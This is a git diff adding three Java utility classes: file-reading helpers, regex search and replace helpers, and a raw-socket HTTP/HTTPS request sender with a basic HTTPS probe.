diff --git a/src/main/java/com/su/util/File_Utils.java b/src/main/java/com/su/util/File_Utils.java
new file mode 100644
index 0000000..797434b
--- /dev/null
+++ b/src/main/java/com/su/util/File_Utils.java
@@ -0,0 +1,78 @@
+package com.su.util;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+public class File_Utils {
+
+
+
+ public static String lines_read(String fileName){
+
+ File file = new File(fileName);
+ String filevalue="";
+ BufferedReader reader = null;
+ try {
+
+ reader = new BufferedReader(new FileReader(file));
+ String tempString = null;
+ int line = 1;
+ // 一次读入一行,直到读入null为文件结束
+ while ((tempString = reader.readLine()) != null) {
+ filevalue+=tempString+"\r\n";
+ line++;
+ }
+ reader.close();
+ } catch (IOException e) {
+ e.printStackTrace();
+ } finally {
+ if (reader != null) {
+ try {
+ reader.close();
+ } catch (IOException e1) {
+ }
+ }
+ }
+ return filevalue;
+ }
+
+ public static List lines_read_array(String fileName){
+
+ List texts = new ArrayList<>();
+ File file = new File(fileName);
+
+ BufferedReader reader = null;
+ try {
+ reader = new BufferedReader(new FileReader(file));
+ String tempString = null;
+ int line = 1;
+ // 一次读入一行,直到读入null为文件结束
+ while ((tempString = reader.readLine()) != null) {
+ texts.add(tempString);
+ line++;
+ }
+ reader.close();
+ } catch (IOException e) {
+ e.printStackTrace();
+ } finally {
+ if (reader != null) {
+ try {
+ reader.close();
+ } catch (IOException e1) {
+ }
+ }
+ }
+ return texts;
+ }
+
+ public static InputStream get_FileInputStream(String path) throws FileNotFoundException {
+ InputStream is = new FileInputStream(new File(path));
+ return is;
+ }
+
+
+
+
+
+}
diff --git a/src/main/java/com/su/util/Regu.java b/src/main/java/com/su/util/Regu.java
new file mode 100644
index 0000000..14b8081
--- /dev/null
+++ b/src/main/java/com/su/util/Regu.java
@@ -0,0 +1,60 @@
+package com.su.util;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class Regu {
+
+ public static String search1(String reg,String str){
+ Matcher matcher=search(reg,str);
+ return matcher.group(1);
+ }
+
+ public static Matcher search(String reg,String str){
+ Pattern pattern = Pattern.compile(reg);
+ Matcher matcher = pattern.matcher(str);
+ if( matcher.find() ){
+ return matcher;
+ }else{
+ //err
+ System.out.println("未匹配正则");
+ return null;
+ }
+ }
+
+
+ public static List searchall(String reg,String str){
+
+ List matcherList = new ArrayList<>();
+ Pattern pattern = Pattern.compile(reg);
+ Matcher matcher = pattern.matcher(str);
+ while (matcher.find()) { //此处find()每次被调用后,会偏移到下一个匹配
+ try {
+ matcherList.add(matcher.group(1));//获取当前匹配的值
+ }catch (IndexOutOfBoundsException e){
+ System.out.println(e.getMessage());
+ }
+
+ }
+
+ return matcherList;
+ }
+ public static String btch_replacement(String[] tagets,String rep,String str){
+
+ for(String t:tagets){
+ str=str.replace(t,rep);
+
+ }
+ return str;
+ }
+
+ public static void main(String[] args) {
+
+ Matcher matcher=Regu.search("\\$\\{(.*?)\\}","${spring.version}");
+
+ System.out.println( matcher.group(1));
+ }
+
+}
diff --git a/src/main/java/com/su/util/Socket_http_utility.java b/src/main/java/com/su/util/Socket_http_utility.java
new file mode 100644
index 0000000..50dc09d
--- /dev/null
+++ b/src/main/java/com/su/util/Socket_http_utility.java
@@ -0,0 +1,87 @@
+package com.su.util;
+
+import com.su.analysis.Http_req_pars;
+import com.su.analysis.Http_res_pars;
+
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLHandshakeException;
+import javax.net.ssl.SSLSocket;
+import javax.net.ssl.SSLSocketFactory;
+import java.io.*;
+import java.net.*;
+
+public class Socket_http_utility {
+
+ public static Boolean if_is_https(Http_req_pars http_req_pars) throws IOException {
+ String host = http_req_pars.getHost();
+ Integer port = http_req_pars.getPort();
+ OutputStreamWriter streamWriter = null;
+ BufferedWriter bufferedWriter = null;
+ Socket socket = null;
+ try {
+ socket = (SSLSocket)((SSLSocketFactory)SSLSocketFactory.getDefault()).createSocket(host, port);
+ streamWriter = new OutputStreamWriter(socket.getOutputStream());
+ bufferedWriter = new BufferedWriter(streamWriter);
+ bufferedWriter.write("POST / HTTP/1.1\r\n");
+ bufferedWriter.flush();
+ return true;
+ }catch (SSLHandshakeException e){
+ bufferedWriter.close();
+ socket.close();
+ return false;
+ }catch (ConnectException e){
+ return false;
+ }catch (SSLException e){
+ bufferedWriter.close();
+ socket.close();
+ return false;
+ }
+ }
+
+ public static Http_res_pars send_s_http2(Http_req_pars http_req_pars) throws IOException {
+ Socket socket;
+ String host = http_req_pars.getHost();
+ Integer port = http_req_pars.getPort();
+ String http_= http_req_pars.getHttp_text();
+ Boolean is_https = http_req_pars.getIs_ssl();
+ if (is_https){
+ socket = (SSLSocket)((SSLSocketFactory)SSLSocketFactory.getDefault()).createSocket(host, port);
+ }else {
+ socket = new Socket(host, port);
+ }
+ OutputStreamWriter streamWriter = new OutputStreamWriter(socket.getOutputStream(), "utf-8");
+
+ BufferedWriter bufferedWriter = new BufferedWriter(streamWriter);
+
+ String[] http_s=http_.split("\r\n");
+ for(String h_line:http_s){
+ if (h_line.contains("Accept-Encoding: ")){ continue;}
+ bufferedWriter.write(h_line+"\r\n");
+ }
+ bufferedWriter.write("Content-Type: application/x-www-form-urlencoded\r\n");
+ bufferedWriter.write("\r\n");
+ bufferedWriter.write("\r\n");
+ bufferedWriter.flush();
+
+ BufferedInputStream streamReader = new BufferedInputStream(socket.getInputStream());
+ BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(streamReader, "utf-8"));
+ String res_text="";
+ String line = null;
+ while((line = bufferedReader.readLine())!= null)
+ {
+ res_text += line+"\r\n";
+ }
+ bufferedReader.close();
+ bufferedWriter.close();
+ socket.close();
+ Http_res_pars http_res_pars =new Http_res_pars();
+ http_res_pars.res_pars(res_text);
+
+ return http_res_pars;
+ }
+
+ public static void main(String[] args) {
+
+ }
+
+}